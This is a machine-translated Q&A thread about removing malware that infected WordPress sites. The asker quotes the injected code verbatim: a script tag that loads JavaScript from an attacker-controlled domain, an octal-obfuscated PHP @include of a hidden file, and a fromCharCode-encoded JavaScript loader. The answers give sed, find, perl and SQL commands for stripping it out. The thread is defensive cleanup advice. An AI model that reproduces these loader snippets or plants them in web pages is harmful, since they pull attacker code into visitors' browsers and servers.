web-dev-qa-db-ja.com

sedまたはおそらくgrepを使用して文字列全体を置き換える方法

サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressに基づいており、私のサーバーでホストされているサイトの大部分はWordPressに基づいています。ハッカーはこのコード行をすべてのファイルに追加し、データベース

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

私は使用してgrepを介してそれを検索しました

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

ファイル構造全体でsedに置き換えようとしています。次のコマンドを記述しました。

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

最初に単一のファイルindex.phpの文字列を置き換えようとしています。

私のコードが間違っていることを知っています。これで私を助けてください。

@Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語の合計はこれです

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

そして、すべてのコンテンツを削除したいが、phpの開始タグ<?phpを保持したい。

@slyblotyの解決策は簡単で、うまくいきましたが。

影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"-スクリプト行を削除するには
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'-@include行を削除するには
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'-コメント行を削除するには

また、ハッカーのスクリプトがすべてのディレクトリに不要なindex.htmlを作成したため、'*.html'に対して3つのコマンドすべてを再度実行しました。これらのindex.htmlを一括で削除することが正しいアプローチかどうかはわかりませんでした。

今でも、ジャンクファイルとその痕跡を把握する必要があります。

ハッカースクリプトはJSコードも追加しました。

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

私もそれをsedできるかどうかを確認しようとしています。

10
Dilip Gupta

Sedでどの方法を使用する場合でも、findおよびxargsを使用した完全なフィルタリングオプションを使用して、複数のファイルに対して複数のプロセスを同時に実行できます。例えば:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

そうなる:

  • find-検索
  • -type f-ファイルのみ
  • -name '*.txt'-phpで終わります
  • -print0-それらをゼロバイトで区切って印刷します
  • | xargs -0-ゼロバイトで区切られた各ファイル
  • -P7-7つのプロセスを同時に実行する
  • -n1-各1ファイル
  • sed-ファイルごとにsedを実行します
  • -i-ファイルを編集します
  • '...'-他の回答から実行するsedスクリプト。

xargs-tオプションを追加して、進行状況を確認することもできます。 man find (man args]( http://man7.org/linux/man-pages/man1/xargs.1.html )を参照してください。

2
KamilCuk

一重引用符は、エスケープ文字なしでそのまま使用されます。 _var='hello\''_に、閉じられていない引用があります。

この問題を解決するには、1)sedコマンドを二重引用符で囲みます[〜#〜] or [〜#〜] 2)単一引用符で囲まれた文字列を終了し、_\'_、そして引用文字列を再度開きます。

ただし、2番目の方法はより混乱します。

さらに、sedは任意の区切り文字を使用してコマンドを区切ることができます。コマンドにスラッシュがあるため、コンマを使用する方が簡単です。たとえば、最初の方法を使用します。

_sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php
_

2番目の方法を使用する:

_sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php
_

この例は、実用的というより教育的です。 _'\''_の仕組みは次のとおりです。

最初の_'_:現在の引用されたリテラル文字列を終了します

_\'_:リテラル文字として一重引用符を入力します

2番目の_'_:引用符で囲まれたリテラル文字列を再入力します

そこにスペースがなければ、sedコマンドを続けるだけです。このアイデアはbashに固有のものです。

エスケープされた_<_と_>_はそのまま残しておきます。これを何に使用するのか完全にはわからないからです。 sedは、_\<_および_\>_を使用して、単語の一致を意味します。それが意図的なものかどうかはわかりません。

これが何にも一致しない場合は、_<_および_>_のエスケープを回避する必要があります。

編集:実際の問題に対するより実用的な解決策については、コメントの@ EranBen-Natanの解決策を参照してください。私の答えは、OPが元のコマンドでより多くの入力を求められた理由に関するリソースです。

編集2のソリューション

これが機能するために、私はあなたのsedに非標準のオプション_-z_があると仮定しています。 GNU sedのバージョンにはこれが必要です。このコードは常に6行の長さの形式で表示されることも前提としています。

_while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"
_

仕組み:すべてに一致させるために、fromCharCode行の先頭を使用しています。 _-z_は、ファイルを改行ではなくnullで分割します。これにより、ラインフィードを直接検索できます。

_[^\n]*\n_-これは、ラインフィードまですべてに一致し、次にラインフィードに一致します。改行(_-z_)で分割しないため、正規表現var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nは可能な最大の一致と一致します。たとえば、_\n}\n_がファイルのさらに下にある場合、そこと悪意のあるコードの間のすべてのコードを削除します。したがって、このシーケンスを6回繰り返すと、最初の行の終わりと次の5行に一致します。

_grep -lr_-再帰的なgrepで、一致するパターンを持つファイルのみをリストします。このように、sedがすべてのファイルを編集するわけではありません。これがないと、_-i.bak_(単純な_-i_ではない)は混乱を招きます。

2
Jason

二重引用符(")を文字列に使用し、一重引用符をエスケープしないでください(')タグも(<>)。スラッシュ(/)。

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
2
slybloty

Wp-mail-smtpプラグインがインストールされていますか?同じマルウェアがあり、wp-content/plugins/wp-mail-smtp/src/Debug.phpには奇妙なことがありました。

また、JavaScriptリンクは、WordPressデータベースのpost_contentのすべてのwp_postsフィールドにあります。

1
skuroedov

私は今日同じことを得ました、すべてのページ投稿はこの厄介なウイルススクリプトを追加しました

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

私はそれをデータベースから無効にしました

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

少なくとも感染したファイルはありません

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

何かは見つかりませんでしたが、これがどのようにしてデータベースに落ち着いたのかまったくわかりません。

この感染により、ページにリダイレクトが発生しました、chromeほとんどがこれを検出してブロックします。-/wp-mail-smtp/src/Debug.phpに異常は見られませんでした

0
Jiro Matchonson

今日も同じことがあり、すべてのページ投稿にスクリプトが追加されています。 https://en.wordpress.org/plugins/search-and-replace/ プラグインを使用して、それらをうまく処理しました。

さらに、文字列の後のwp_postsテーブルのpost_content列にも1つのレコードが見つかりました。

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

手動で削除しました。

0
mik013

私にとってこれは働いた:

    find ./ -type f -name '*.js' |  xargs Perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

検索する必要があります:* .js、*。json、*。map

0